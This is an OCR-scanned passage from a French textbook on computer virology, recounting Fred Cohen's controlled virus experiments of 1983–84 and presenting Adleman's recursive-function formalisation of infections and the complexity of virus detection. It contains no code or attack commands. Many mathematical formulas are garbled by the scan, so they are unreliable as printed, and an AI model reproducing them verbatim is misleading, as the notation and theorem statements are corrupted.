des modéles présentés dans la section précédente. Nous présenterons ici les

17 En se replacant dans le contexte des machines de Turing, le comportement viral provient
d’une donnée d’entrée (ou encore 'index d’une fonction récursive) qui va provoquer une
duplication de cette donnée sur la bande de calcul.
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principaux résultats tandis que le lecteur pourra utilement consulter [51, pp
82-86] pour une présentation détaillée.

A premiére vue, ces résultats pourraient sembler dépassés de nos jours, les
capacités matérielles de I’époque étant bien inférieures a celles de maintenant.
En fait, il n’en est rien. En premier lieu, il ne semble pas (4 la connaissance de
lauteur) que de telles expériences aient été officiellement conduites ailleurs
et plus tard. Nous disposons donc aujourd’hui de ces seuls résultats et des
conclusions qui s’y rapportent.

En second lieu, Fred Cohen s’est attaché & conduire ces expérimentations,
indépendamment des environnements spécifiques de I’époque (systémes d’ex-
ploitation, langages, failles logicielles...). De plus, il n’a considéré que les seuls
modéles ou politiques de sécurité en vigueur et leurs failles — autrement dit
rien que de trés actuel, si 'on considére que la plupart des modéles utilisés
de nos jours ont été envisagés i ’époque de Fred Cohen, par lui-méme ou
par d’autres. Les conclusions qu’il a établies sont, & ce titre, d’'une étonnante
actualité. Il est navrant, au regard des résultats des audits de sécurité réalisés
de nos jours, de constater que rien n’a vraiment changé.

Fred Cohen a réalisé trois séries principales d’expériences, non sans dif-
ficultés, longues négociations préalables et complications de toutes sortes. 11
semble, au final, qu’il n’ait pu en réaliser qu’une partie, tant les premiers
résultats ont effrayé les décideurs de ’époque.

Premiére expérience : novembre 1983

Fred Cohen donne peu d’éléments techniques sur le virus lui-méme. 11
s’agit d’un virus pour une plateforme VAX 11/750 sous Unix. De multiples
précautions avaient été prises pour tracer et controler le virus. La désinfection
a été, de plus, systématiquement appliquée sur tous les programmes infectés
durant P’expérience.

La dissémination du virus a été trés rapide (plus que Fred Cohen, lui-
méme ne 8’y était attendu). Certains utilisateurs ayant des droits superutili-
sateur (root) furent infectés, livrant alors tout le systéme au virus en quelques
minutes. Dans tous les cas, le virus est parvenu & obtenir les droits systéme
aprés trente minutes.

Dés que les premiers résultats ont été connus, les administrateurs et les
responsables de sécurité réagirent assez vivement pour arréter et interdire
toute poursuite de I'expérience ainsi que toute analyse post-expérimentale
sur leur systéme : réaction typique, largement constatée de nos jours chez
beaucoup de décideurs qui pensent que les « problémes que 'on n’étudie
pas. n’existent pas ». Maleré de laborieuses tentatives de négociations nour
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convaincre de l'intérét de ces simulations grandeur réelle, Fred Cohen n’a
pas pu poursuivre. Mais les premiers résultats, aussi limités ont-ils été, ont
prouvé que le risque était bien réel et ne pouvait étre ignoré.

Seconde expérience : juillet 1984

Elle a eu lieu sur un systéme Univac 1108 et a nécessité plusieurs mois
de négociations et de préparation. Le but était de montrer la faisabilité d’un
virus sous un systéme implémentant le modéle de sécurité Bell-LaPadula [21],
modele de référence a I’époque. L’expérience, encore une fois, a été réalisée
avec un luxe de précautions (tragage et controle des infections, limitations
de ressources physiques disponibles, nombres de comptes disponibles...).

Le virus a prouvé sa capacité a infecter un groupe composite de simples
utilisateurs, administrateurs et responsables de sécurité informatique. Il est
parvenu a contourner les systémes de droits utilisateurs et & obtenir des
priviléges supérieurs & ceux que le virus détenait initialement. Le modéle de
sécurité testé s’est révélé, par conséquent, faible.

Le virus semblait é&tre assez simple (moins de 300 lignes d’assembleur, de
Fortran et de commandes interprétées) et les expérimentateurs ont conclu
qu’il serait relativement aisé de faire encore beaucoup mieux avec un virus
un peu plus élaboré.

Troisiéme expérience : aott 1984

Il semblerait que la seconde expérience, & la lumiére des résultats déja
obtenus, ait bousculé et ouvert les esprits. Une troisiéme expérimentation
fut autorisée en aotit 1984 sur un VAX sous Unix. Le but, cette fois, était de
mesurer la dissémination virale, notamment & travers le partage de fichiers. 1l
s’agissait de considérer, entre autres aspects, certains groupes d’utilisateurs
« & risques », qui, plus que d’autres, ont un impact sur la sécurité de tout
le systéme. Comprendre et controler ces groupes, en leur appliquant des
modéles de protection adaptés, devait permettre de considérablement limiter
les risques.

Lors de cette expérience, le nombre d’utilisateurs de type administra-
teur était relativement élevé. Encore une fois, lorsque le virus est parvenu
a infecter le compte d’un tel utilisateur, le systéme (totalité des comptes et
ressources) est alors considéré comme totalement contaminé. L’analyse des
résultats a démontré rapidement et clairement que les administrateurs ont
été contaminés relativement vite. Ces derniers n’ont pas hésité & exécuter
des proerammes extérieurs alors au’ils étaient connectés en tant aue root.
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corrompant ainsi trés vite tout le systéme. Le mépris des droits et des pré-
cautions indispensables en terme de gestion (compte root strictement réservé
pour I’administration) a permis au virus, & chaque fois, d’agir trés rapide-
ment.

Conclusions

Ces expérimentations ont permis en final de mettre en évidence un cer-
tain nombre de faits qui pourraient nous sembler évidents aujourd’hui (et
cela n’est pas une certitude, les audits fréquents de sécurité démontrent le
contraire) mais qui a I’époque ont été autant de révélations et de surprises.
Le lecteur doit garder présent a I'esprit le contexte de I’époque : la notion
de virus émergeait a peine et le risque viral était inexistant. Les premiers
modeles de sécurité sont nés a cette époque (en grande partie, ceux que
nous appliquons ou devrions appliquer) et il n’est pas exagéré d’affirmer que
les résultats de Fred Cohen ont apporté une contribution essentielle dans
la définition de ces modeéles (le lecteur pourra d’ailleurs étudier les articles
originaux de Fred Cohen dans ce domaine [54-61,136], qui prouvent que sa
contribution va au-dela des expérimentations présentées succintement dans
cette section).

Les principaux enseignements qui ont été tirés de ces expériences, sont
les suivants :

— une attaque virale est relativement facile & développer, surtout quand
elle exploite une ou plusieurs failles des protocoles ou la politique de
sécurité. En particulier, cela souligne avec force que ’élément humain,
dans cette perspective, est le maillon faible. Les expériences de Fred
Cohen ont montré que tous les modeéles de sécurité ont pu étre battus
en bréche. Cela renforce la validité de ses propres résultats théoriques,
présentés plus haut ;

— ces attaques sont trés rapides et peuvent se faire en ne laissant prati-
quement aucune trace qui pourrait permettre & l'utilisateur de réagir
et de ralentir I'attaque — voire de ’arréter. Cela concerne autant les
systémes simples, multi-utilisateurs, que les systémes en réseau ;

— mais surtout, et c’est 13 le point certainement le plus important : au-
cune politique, aucun modéle de sécurité n’est valable, et ne peut par
conséquent étre validé, g’il n’est pas étalonné, testé et considéré sous
Pangle d’une analyse technique, éventuellement offensive. Pour plus de
clarté, citons Fred Cohen lui-méme :

« [...] les conséquences des politiques interdisant les expérimen-
tations controlées de la sécurité sont évidentes : interdire aux
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utilisateurs de faire leur travail incitera les attaques illicites; si
un utilisateur peut lancer une attaque sans aide d’une faille du
systéeme ou de connaissances spéciales, d’autres pourront le faire
également [...] La conception selon laquelle toute attaque auto-
risée réduit la sécurité est, selon l'avis de 'auteur, un argument
fauz. L’idée d’utiliser de telles attaques pour détecter des pro-
blemes est souvent requise par les politiques gouvernementales de
sécurité en vue d’évaluer les systémes de confiance'®. Il serait
plus rationnel d’utiliser des expérimentations ouvertes et contro-
lées comme ressource en vue de 'amélioration de la sécurité. »

— enfin, et en complément de ses études sur le modéle isolationniste, ces
expériences ont confirmé que pour se débarrasser des virus, il suffit d’éli-
miner les trois agents responsables de leur dissémination : le partage,
la programmation et les modifications. Mais l'informatique reste-t-elle
alors encore intéressante si on supprime les seules choses qui la rendent
humaine : la communication entre les hommes et la création.

Fred Cohen a préparé d’autres expériences pour des systémes variés (VAX
VMS, VAX Unix, IBM PC...), avec des langages différents (Basic, C...). Les
attaques semblaient étre plus élaborées mais, officiellement, il n’a jamais
obtenu 'autorisation de les réaliser. Le lecteur trouvera le code source d’un
virus pour IBM-PC fonctionnant sous systéme DOS 2.1, dans la thése de Fred
Cohen avec la description succincte du protocole expérimental, ainsi que les
sources, données et résultats de I'expérience d’aoit 1984 [51, pp 103-109].

3.3 La formalisation de Leonard Adleman

La formalisation de Leonard M. Adleman [1] en 1988 fait suite a celle de
Fred Cohen. Ce dernier, éléve d’Adleman, a directement bénéficié de ses dis-
cussions avec lui (qui lui suggéra d’ailleurs le terme de virus). C’est Adleman,
également, qui rendit possibles les premiéres expérimentations en virologie
informatique de son éléve. Enfin, il comprit I'intérét et la nécessité d’une cer-
taine et indispensable médiatisation'® des travaux de Fred Cohen. Au final,

18 Cette approche est toujours d’actualité, particulierement chez les Anglo-saxons dont le
pragmatisme est 3 saluer. C’est la raison principale de leur avance dans le domaine de
la sécurité informatique (N.d.A).

19 Tndispensable, car il est probable qu’Adleman avait déja entrevu le futur difficile de
la virologie informatique, mélange de peurs, de fantasmes et d’intéréts de toute sorte.
La publication des travaux théoriques de Fred Cohen puis des siens, dans une presse
« egrand public ». avait certainement pour but de prévenir cette évolution malheureuse.
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la contribution de I'un, ne peut étre envisagée sans celle de 'autre et vice
versa.

La thése de Fred Cohen, en fait, n’aborde pas tous les aspects de la virolo-
gie informatique, du moins de maniére explicite. Elle ne traite que des virus
et des vers mais d’un point de vue général. Le probléme plus large des pro-
grammes offensifs, encore dénommeés infections informatiques (ou malware;
voir le chapitre 5) n’est pas abordé. Le risque que représente un cheval de
Troie était pourtant déja connu et les premiers modéles de protection définis.

Les travaux d’Adleman vont donc compléter ceux de son éléve et envi-
sager plus généralement la notion de programmes offensifs, en s’attachant a
définir un classement rigoureux des différentes catégories envisageables, en
particulier en considérant le pouvoir destructif plus ou moins grand de ces
programmes. Sa base de travail est celle des fonctions récursives. Ce travail
effectué, Adleman s’est attaché, véritable but de son travail, aux aspects
de protection. Sa préoccupation se résume par les quelques questions sui-
vantes (qui peuvent sembler de nos jours basiques mais qui ne I’étaient pas
a l’époque) :

— quelle est la complexité de la détection virale? Fred Cohen a prouvé
quune détection virale absolue (théoréme 12) n’existe pas. Adleman
est parvenu a en « quantifier » la complexité en la rattachant a des
classes de complexité connues;

— la désinfection de programmes infectés est-elle possible 7

— quelles formes de protection sont envisageables 7 Fred Cohen avait défini
un certain nombre de modéles mais extrémement contraignants et diffi-
ciles & mettre en ceuvre en pratique. Adleman a considéré une approche
sous-optimale mais malgré tout efficace, que les logiciels antivirus ont
reprise et adoptée.

Nous allons présenter les travaux de Leonard Adleman en nous basant sur
son article de référence de 1988 [1]. Les démonstrations ne seront en régle
générale pas données, par souci de clarté et dans le but de laisser le lecteur
se référer 3 la publication originale dont la lecture est vivement conseillée.

11 est cependant & craindre que le choix du terme de virus, s’il est parfaitement adapté a
la réalité théorique qu’il désigne, ait provoqué une évolution inverse. Le lecteur pourra
lire un interview de Leonard Adleman ot ce dernier évoque, en autres sujets, sa collabo-
ration avec Fred Cohen (http://www.usc.edu/isd/publications/networker/96-97/
Sep Oct 96/innerview adleman.html).
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3.3.1 Notations et concepts de base

Deux propriétés principales sont considérées par Adleman pour caracté-
riser un virus :

1. Tout programme posséde une forme infectée. Autrement dit, un virus
peut étre considéré comme une application de ’ensemble des programimes
vers l’ensemble des programmes infectés. Cette vision correspond en fait
a celle de Fred Cohen avec le théoréme 14.

2. Chaque programme infecté, en fonction de parameétres d’entrée fournis
par l'utilisateur, le systéme d’exploitation ou 'environnement dans son
acception la plus générale, agit selon trois possibilités :

— Infection.- Le programme, apreés avoir réalisé les fonctionnalités atten-
dues, infecte d’autres programmes?’.

— Fonctionnalité ajoutée.- Le programme, en plus de ses fonctionnalités
attendues, effectue d’autres actions. Ces actions peuvent étre différées
ou non, a caractére (généralement) offensif (charge finale) ou non (le cas
des virus bénéfiques) et leur nature dépend uniquement de 'infection
initiale et non du programme infecté. Notons que cette seconde pos-
sibilité n’est absolument pas une caractéristique virale. Seul le carac-
tére autoreproductif devrait normalement étre considéré. L’intention
d’Adleman est déja de généraliser le propos afin de prendre en compte
d’autres programmes 3 caractére offensif, mais non autoreproducteurs.

— Imitation.- Le programine ne procéde & aucune infection ni action of-
fensive mais effectue juste les instructions légitimement attendues. 11
s’agit d’'un cas particulier de l'infection dans la situation ou aucun
fichier a infecter n’est disponible.

Les notations utilisées par Adleman décrivent en détail les mécanismes de
fonction récursive universelle, telle qu’elle a été présentée dans le chapitre 2.
— S désigne ensemble de toutes les séquences (finies) d’entiers naturels.
— L’application e : $x S — N, calculable et injective et dont la réciproque
est calculable, désigne en fait la construction d’un nombre de Godel
(voir section 2.2.2). Les deux séquences arguments peuvent notamment
désigner ici les instructions du programme calculant une fonction ré-
cursive ('index) et les données de ce programme (le parameétre de la
fonction). La valeur e(s,t) pour deux séquences quelconques s et t de
S sera notée < s,t >. Cette valeur désigne donc un index étendu aux
données du programme.

20 Précisons tout de suite qu’en général, les virus ou autres programmes infectieux in-
versent cet ordre afin d’assurer leur survie. Nous dévelobverons cela dans le chapitre 5.
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— Pour toute fonction partielle f : N — N et toutes séquences s et ¢t de
S, f(s,t) designera f(< s,t >).
La définition suivante précise les conditions d’égalité de deux fonctions (ré-
cursives ou non).

Définition 23 Pour toules fonctions [ et g de N dans N, pour tout (s,t) €
S x S alors f(s,t) = g(s,t), si et seulement si,

Fls,t) 7 etg(s,t) /7

ou bien
J(s, )\ et g(s,t) "\, et f(s,1) =g(s, 1)
La définition suivante permet de déterminer I’équivalence de deux index éten-

dus, & une fonction partielle prés.

Définition 24 Pour tout (z,2') € N2, pour toutes séquences p,p’, et pour
toutes séquences ¢ = (q1,92,...,4:),¢ = (¢}, 45,...,4.) de S, pour toute
fonction partielle h : N — N, les index étendus < p,q > et < p/,q" > sont

dits équivalents a la fonction h prés et on note < p,q She p,q > siet
seulement si les quatre conditions suivantes sont vérifies :

1. 2= 2,

2.p=yp,

3. 3i € N avec 1 <1i < z tel que ¢; # ¢},

4. Pour j =1,2,...,2 ou bien ¢; = ¢} ou bien h(g;) \, et h(g;) = g;.

Notons que, dans la derniére condition, ¢; = q}- est équivalent & h(q;) = q;
si h est la fonction identité sur N.

Définition 25 Pour toutes fonctions partielles f, g et h de N dans N, pour
tout (s,t) € Sx S, [ est h-équivalente au sens faible (ou équivalente au sens
faible a la fonction h prés) a la fonction g en (s,t) si et seulement si

Fls, )\ et g(s,t) N, et h(f(s,1)) = g(s,1).

On note alors f(s,t) S g(s,t).

La définition suivante résume enfin sous une seule notation les définitions 23
et 25.

21 Ces notations ont été définies dans la section 2.2.3.
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Définition 26 Pour toutes fonctions partielles f, g et h de N dans N, pour
tout (s,t) € S xS, f est h-équivalente au sens fort (ou équivalente au sens
fort & la fonction h prés) a la fonction g en (s,t), si et seulement si,

F(s,1) = g(s,1) ou f(s,) © g(s,1).

h
On note alors f(s,t) = g(s,1)

Nous pouvons maintenant donner, en reprenant les définitions qui viennent
d’étre données et les concepts du chapitre 2, la définition formelle des trois
possibilités d’action d’un programme infecté.

Définition 27 Pour toute numérotation de Gédel des fonctions partielles
récursives {p;}, une fonction récursive totale v est une infection?? relative-
ment & {p;}, si et seulement si, pour tout (d,p) € S x S soit :

1. il ajoute une fonctionnalité :
[\V/(Z7]) S N? [SDU(Z) (d7p) = Pau(y) (dv p)]]

2. il infecte ou il imate :

1=

Vi €N [p;i(d,p) = vuy)(d, p)]].

Remarques

1. Les symboles d et p représentent la décomposition de toutes les infor-
mations accessibles & une fonction ; en données (informations non sus-
ceptibles d’étre infectées??) et les programmes (informations susceptibles
d’étre infectées).

2. 1l faut bien se rappeler que I'index ¢ de la fonction ¢ doit étre vu comme
un index étendu. Cela permet de généraliser la notion d’infection d’un
programme a un processus (programme proprement dit, données de ce

22 Dans larticle de [1], outre quelques erreurs de notations, le terme virus a été utilisé,
ce qui constitue dans certains cas, une contradiction avec la définition 28 de la section
suivante. Dans tout ce qui suit, nous utiliserons plutét le terme général d’infection,
méme si la plupart du temps l'infection est réalisée effectivement par un virus. Le
terme de virus sera réservé aux seuls programmes autoreproducteurs.

En fait, dans le cas des virus que 'on pourrait qualifier de « virus de documents », par
exemple les macro-virus, la distinction entre programmes et données n’est plus aussi
claire et la notion d’« infection » de données n’est plus absurde. Cependant, 'usage
de fonctions récursives et de leur représentation formelle, permet de considérer ce cas
particulier sans probléme concentuel. Nous ’aborderons dans le chapitre 5.

23
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programme et données systéme nécessaires au processus). Le processus
d’infection a alors pour cible, non seulement un programme, mais éga-
lement les données de ce programme (cas des virus dits de documents).
C’est la raison pour laquelle la fonction ¢; accepte les deux arguments d
et p.

3.3.2 Virus et infections informatiques

Il est maintenant possible, avec les éléments définis dans la section pré-
cédente, de classer les différentes infections informatiques.

Définition 28 Pour toute numérotation de Gédel des fonctions partielles
récursives {p;}, pour toule infection v relativement a lUensemble {p;}, et
pour tout (i,5) € N? :

— 1 est dit pathogéne relativement ¢ v et j si

i =v(j) et B(d,p) € S? [i3(d,p) 2 i(d, p)])-

— 1 est dit contagieux relativement 6 v et j si

i =v(j) et [3(d,p) € 5% [p;(d.p) ~ wi(d,p)]].

~ i est dit a effet bénin relativement & v et j si 1 = v(j) et v n'est ni
pathogéne ni contagieuz relativement a j.

~ i est un cheval de Troie relativement o v et j si 1 = v(j) et i est
pathogéne mais non contagieuz relativement a j.

— i est un largueur®? si i = v(j) et i est contagieur mais non pathogéne
relativement a j.

~ i est virulent relativement & v et j si i = v(j) et i est pathogéne et
contagieuz relativement a j.

Cette définition envisage donc complétement les cas d’infections informa-
tiques en considérant le comportement du programme infecté par rapport a
la version non infectée (par 'infection v). Le lecteur veérifiera, a titre d’exer-
cice, que cette définition correspond bien 4 celles données dans le chapitre 5.
La définition qui suit considére une classification légérement plus générale
que la précédente. Elle correspond d’ailleurs a celle donnée dans le chapitre 5
(figure 5.1) et considére non plus les cibles mais les infections elles-mémes.

Définition 29 Pour toute numérotation de Godel des fonclions partielles
récursives {@;} el pour toute infection v relativement a {¢} :

2 Le terme de dropper est généralement préfére. Nous sommes la dans le cas d’une pre-
miére infection.
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— v est bénin si les deuz conditions suivantes sont vérifies :
1. [Vj € N [v(j) n’est pas pathogéne relativement a v et j]]

2. VjeN [v(j) nlest pas contagieuz relativement a v et j|]
2

v est dit épéien®® si les deux conditions suivantes sont vérifiées :

1. [3j € N [v(y) est pathogéne relativement a v et j]]
2. VjeN [v(j) nlest pas contagieuz relativement a v et j|]

— v est disséminateur si les deux conditions sutvantes sont vérifiées :
1. [3j e N [v(j)n’est pas pathogéne relativement & v et j]]

2. [37j €N [v(j) est contagieuz relativement & v et j|]

2

— v est malicieux?® si les deuz conditions suivantes sont vérifides :

1. [3j € N [v(j) est pathogéne relativement a v et j]]
2. [37 €N [v(j) est contagieuz relativement a v et j|]

En comparant les définitions 29 et 28, nous voyons donc que tous les pro-
grammes victimes d’une infection de type bénin sont eux-mémes des pro-
grammes a effet bénin pour tous les autres programmes (ou relativement a
leurs prédécesseurs, au sens fonctionnel du terme) non infectés. Cette classe
représente plutét un cas d’école et, & la connaissance de 'auteur, il n’existe
aucun virus réel connu y appartenant (en fait, cela n’aurait pas de sens d’un
point de vue pratique; cette classe est toutefois non vide, car elle contient la
fonction identite).

Les infections de type épéien correspondent en pratique aux infections
simples (autrement dit, non autoreproductrices) de la figure 5.1 du cha-
pitre 5, c’est-a-dire les bombes logiques, les leurres et les chevaux de Troie
(appartiennent également & cette classe les fonctions récursives primitives
constantes).

Les infections du type disséminateur sont les virus sans charge finale
tandis que celles de type malicieux sont constituées des virus avec charge
finale.

%5 L. Adleman a utilisé ici le nom du charpentier, Epeios ou Epeus, qui construisit pour
Ulysse le fameux cheval de Troie qui permit de faire tomber la ville du méme nom (lire
le huitiéme chant de I'Odyssée d’Homeére; le lecteur en trouvera une traduction sur le
CDROM).

0 Le terme « malicieux » est ici pris dans son sens premier (mauvais, méchant ou mal-
veillant). I correspond le mieux a la notion de malware ou de malicious codes des
anglo-saxons. C’est le terme le plus souvent utilisé dans la langue frangaise, dans ce
contexte. Les adjectifs « pernicieux » et « malveillants » restreignent ou spécialisent la
notion génériaue de code malicieux.
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27 est donc particuliérement intéressante car

La formalisation d’Adleman
elle envisage tous les cas possibles d’infections informatiques?®.
Le théoréme suivant compléte ce qui vient d’étre dit, ainsi que les défini-

tions qui viennent d’étre données, par quelques résultats simples & démontrer.

Théoréme 15 Pour toute numérotation de Godel des fonctions partielles
récursives {@; } et pour toute infection v relativement a {p} :

1. 35 € N [v(j) est a effet bénin relativement 6 v et j].

2. v est bénin si
Vi eN [v(j) est a effet bénin relativement d v et j.]

3. Si v est de type epéien alors quel que soit j € N une des deux conditions
est vraie :

a) v(j) est a effet bénin relativement a v et j.

b) v(j) est un cheval de Troie, une bombe logique ou un leurre relative-
ment a v et j.

4. St v est de type disséminateur alors quel que soit j € N alors 'une des
deuz conditions suivantes est vraie :

a) v(j) est a effet bénin relativement a v et j.

b) v(j) est un largueur relativement 4 v et j.

Démonstration. Par utilisation des définitions précédentes et du théoréeme
de récursion de Kleene. O

Précisons que le type largueur est équivalent en pratique a un programme in-
fecté par un virus (et donc infectieux) et de ce fait rassemble les programmes
infectés par les types disséminateur et malicieux.

Pour conclure cette section, considérons que les infections informatiques
simples sont les infections de type epéien tandis que les infections de type
autoreproducteur (vers et virus) sont celles du type disséminateur et mali-
cieux.

27 Rappelons toutefois qu’elle ne fait qu’expliciter, dans le cadre de la virologie informa-
tique, le théoréme 5 dit de récursion, présenté dans la section 2.2.4.

28 Le cas des bombes logiques et des leurres n’est toutefois pas pris en compte par Adleman.
Nous 'avons donc raiouté.
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3.3.3 Complexité de la détection

Le résultat de Fred Cohen concernant le probléme général de la détec-
tion virale (théoréme 12) montre qu'il s’agit 1 d’un probléme indécidable
donc d’une impossibilité de nature mathématique. Mais le résultat ne va
pas plus loin. Le « degré d’impossibilité pratique », que la théorie de la
complexité envisage selon une certaine hiérarchie de classes de complexité
maintenant largement connue [182], n’est pas précisé. Par exemple, quelle
est la complexité du probléme consistant & énumérer ’ensemble des virus
informatiques 7 Ce probléme est étroitement lié au probléme trés général de
la détection virale, tel qu’envisagé par le théoréme 12.

Adleman est parvenu & déterminer ce degré de difficulté avec le théoréme
fondamental suivant.

Théoréme 16 Pour toute numérotation de Godel des fonctions partielles
récursives {@; }, déterminer l’ensemble

V = {i € N|p; est une infection informatique }

est un probléeme Il>-complet.

Nous ne démontrerons pas ce théoréme (voir [1, pp 363-365]) mais nous allons
décrire simplement ce résultat afin que le lecteur non mathématicien puisse
en saisir le sens et 'importance.

Il nous faut considérer et définir la notion de « réductibilité ».

Définition 30 Soient A et B deur ensembles. On dit que A est « 1-
réductible » o B (et on note A <1 B) s’il existe une application récursive
bijective f telle que Vx, € A& f(x) € B.

On dit que A est « m-réductible » & B (et on note A <,, B) s’il existe
une application récursive f telle que Vx, v € A & f(x) € B.

Dans le cas de la m-réductibilité, I’application f n’est pas injective. Notons
que la condition Vz, = € A & f(x) € B peut encore s’écrire A = f~1(B),
ou encore f(A) C Bet f(A) C B.

Exemple 3 Considérons les deuxr ensembles suivants :
A= {z € N|W,2 est infini }

et
B = {z € N|p, est totale}.

2% W, désigne le domaine de définition de la fonction .
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Montrons que B est m-réductible 4 A. Supposons qu’il soit possible de déter-
miner st Wy, est infini, quel que soit x € N. Alors, pour déterminer si g, est
une fonction récursive totale, pour un yo donné, construisons l'application
suivante (I’entier yy est construit a partir de Uentier yo) :

(2) = 1 86 pyo (W) converge Yw < z
Py \2) = diverge sinon

et alors on regarde si Wy, est infini. On démontre de méme que A <., B.

La notion de réductibilité permet de définir des classes de difficulté pour un
probléme (par difficulté, il s’agit de celle concernant la résolution pratique de
ce probléme). Si un ensemble A de problémes est réductible & un ensemble B
de problémes, nous pouvons considérer que les problémes de B sont au moins
aussi difficiles a résoudre que ceux de A (notons au passage que 'application
f de la définition est récursive, ce qui assure que la réduction de A &4 B
est effectivement calculable, et que le passage entre les deux ensembles ne
rajoute pas en difficulté).

Définition 31 On note A=1 B si A<{ Bet B<{ A. De méme A=, B
siA<,, BetB<, A.

Les relations =; et =, sont des relations d’équivalence et leurs classes d’équi-
valence sont précisément les classes de complexité (relativement a la fonction
de réduction).

Définition 32 Soit C une classe de complexilté et soil p un probleme de C.
On dit que p est C-complet si tout probléme p' de C peut se réduire a p.

La notion de complétude permet de décrire la difficulté de résolution inhé-
rente aux problémes de cette classe : un probléme complet pour la classe
C n’appartiendra pas a une sous-classe plus faible ' C C, sinon on aurait
C' = C (C étant clos®® pour la réduction).

Proposition 12 Si deux classes C et C' sont toutes deuz closes pour la ré-
duction et sil existe un probléme p complet pour C et C' alors C =(C’.

Maintenant que nous avons défini la notion de complétude vis-a-vis d’une
classe de complexité, comment interpréter le théoréme 167 Que représente
la classe IT, 7 Plutot que de décrire précisément cette classe (cela dépasserait
trop largement le cadre de cet ouvrage; le lecteur consultera [195, chap. 14
et 15] pour un exposé complet des classes IT,, a partir des formes normales),

30 Un ensemble ¢’ est dit clos pour la réduction si, quand p <., p' et p’ € C’, on a alors
pel.
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nous allons montrer que cette classe désigne des problémes dont la résolution
reste hors de portée en pratique (dans le cas général).

Sans entrer dans les détails, il convient de préciser que les classes I1,, pour
n > 0 sont définies en liaison avec d’autres classes, appelées classes X/, pour
n > 0 (voir [195, chap 14.1-3]). Ainsi une hiérarchie précise peut étre définie
entre elles. En premier lieu, la classe Il est la classe des fonctions récursives,
autrement dit, la classe des problémes « faciles » a résoudre (puisque les
fonctions qui les définissent sont calculables). Nous avons alors le résultat
suivant :

Théoréme 17 1. Il = 2.

2.Vp, peX,<eplell,.

3 2, Ul C XNy,

Illustrons ce théoreéme par le schéma 3.4. Les différentes classes et leur hié-
rarchie respective y sont représentées3?.

Les problémes appartenant & ’ensemble R, se trouvant sous la courbe en
pointillé, sont ceux que ’on peut en pratique résoudre effectivement. Comme
R C I, la détection virale est un probléme impossible & résoudre dans le
cas général. Toutefois, le résultat d’Adleman (théoréme 16) est plus précis
que celui de Fred Cohen (théoréeme 12). En effet, le degré « d’impossibilité
» est ici quantifié.

3.3.4 Etude du modéle isolationniste

Reprenant les travaux de son éléve sur les modéles de prévention contre
les risques de dissémination virale, Adleman s’est attaché a formaliser le
modéle isolationniste et & considérer des formes plus réalistes, en pratique
de ce modeéle. En effet, Fred Cohen n’avait considéré ce modele que d’un
point de vue intuitif et général.

Définition 33 Pour toute numérotation de Gdadel des fonctions partielles ré-
cursives {p; }, pour toute infection v relativement & l'ensemble {p;}, U'ensem-
ble d’infection de v est défini par :

I,={ieN|FjeN, i=uv(j)}

31 Nous avons vu dans la section 2.2.2 qu’une fonction récursive pouvait également étre
vue comme une relation R d’ot la notation. De plus, pour toute relation k-aire R, alors
R=N'_R.

32 Le lecteur familier avec la théorie de la complexité aura noté que la classe ITp = X est en
fait la classe P des problémes polynomiaux et que NP = X1, coNP = IT, 5y = NPNF
et ITo = coNP™T . Plus généralement X; 1 = NP*F et ;1 = coNPTF (voir [182,
chapn. 17D,
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Fic. 3.4. Classes II,, et X, et leur hiérarchie

Notons que la notion d’ensemble d’infection reprend en fait la notion, plus
générale, d’ensemble viral définie par Fred Cohen.

Définition 34 (Absolue isolabilité)

Pour toute numérotation de Godel des fonctions partielles récursives {p;},
pour toute infection v relativement & Uensemble {¢;}, v est absolument iso-
lable, si et seulement, si I, est décidable.

Dans le modéle isolationniste, le systéme étant fermé, I,, est nécessairement
décidable (au minimum par une approche énumérative) et donc tout virus
peut étre (théoriquement) isolé, détecté et supprimé. La proposition suivante
établit un résultat évident relatif a ce cas.

Proposition 13 Pour toute numérotation de Gdadel des fonctions partielles
récursives {@; }, pour toute infection v relativement a 'ensemble {p; }, si pour
tout i € N, v(i) > i alors v est absolument isolable.

La plupart des infections produites sont absolument isolables, en particulier,
parce qu’elles satisfont la propriété v(i) > i. Cependant, toutes les infections
ne sont pas absolument isolables selon le théoréme suivant (voir un exemple
en exercice).

Théoréme 18 Pour toute numérotation de Godel des fonctions partielles
récursives {@; }, il existe une fonction récursive totale v telle que
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1. v est de type malicieux relativement a {v;}.

2. I, est X1-complet.

Nous ne démontrerons pas ce théoréme (le lecteur pourra consulter |1, pp 366-
369| dont une copie est présente sur le CDROM accompagnant cet ouvrage).
Attachons-nous cependant 4 comprendre ce qu'il signifie : il n’est pas possible
de baser une protection sur une procédure décidant si un programme est
infecté ou non. Nous avons vu dans la section précédente, et particuliérement
avec la figure 3.4, la hiérarchie des classes de complexité. La classe 3 est au-
dela de la classe de calculabilité effective R (en fait, la classe Xy correspond
a la classe de complexité N P). D’ou le résultat.

A titre de complément des résultats d’Adleman, le lecteur pourra lire
[210], dans lequel, il est prouvé que la détection fiable d’'un virus poly-
morphe de longueur finie est un probléme généralement N P-complet. L’au-
teur montre pour cela que résoudre ce probléme est équivalent a résoudre le
probléme de satisfaisabilité, lui-méme N P-complet [182, page 171] (méthode
de réduction).

3.4 Conclusion

La formalisation des virus et de la problématique de détection permet
de disposer d’une vision assez claire de la notion d’infection informatique.
Le lecteur est maintenant en mesure de comprendre pourquoi la notion de
virus, telle qu’elle peut étre imaginée dans l'esprit du plus grand nombre,
est réductrice et ne prend en compte qu’une partie des choses. L’importance
du référentiel est également renforcée grace a cette formalisation. Ainsi, la
notion de virus de documents, longtemps mise en doute par la plupart des
experts, était déja prise en compte dans cette description théorique avant
qu’elle ne trouve sa premiére concrétisation avec les macro-virus (en 1995
avec le virus Concept).

Fred Cohen et Leonard Adleman ont donc contribué & brosser un tableau
clair et exhaustif des risques informatiques liés aux programmes & caractére
offensif. Mais ils ont également travaille & définir (et en particulier Fred
Cohen) des modé¢les de protection permettant d’envisager la lutte contre de
tels risques. Leurs résultats, & travers des approches et des outils différents,
montrent que le probléme général de la détection virale, étant indécidable,
nous condamne 3 une attitude réactive en ce qui concerne la lutte contre les
virus. Encore une fois, il convient d’insister sur ce point. Il ne sera jamais
possible de prévenir une quelconque attaque virale. Les (mauvaises) surprises
seront touiours d’actualité.
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Encore une fois, nous recommandons vivement au lecteur de découvrir les
travaux originaux de ces deux auteurs, et en particulier ceux de Fred Cohen
qui a su replacer ses résultats de base dans une perspective plus large et plus
générale. Il s’est attaché, en particulier, & étudier en profondeur, certains
modeéles de protection [55-60] que nous ne présenterons pas, cela dépassant
le cadre, fixé au départ, de cet ouvrage : les virus.

Exercices

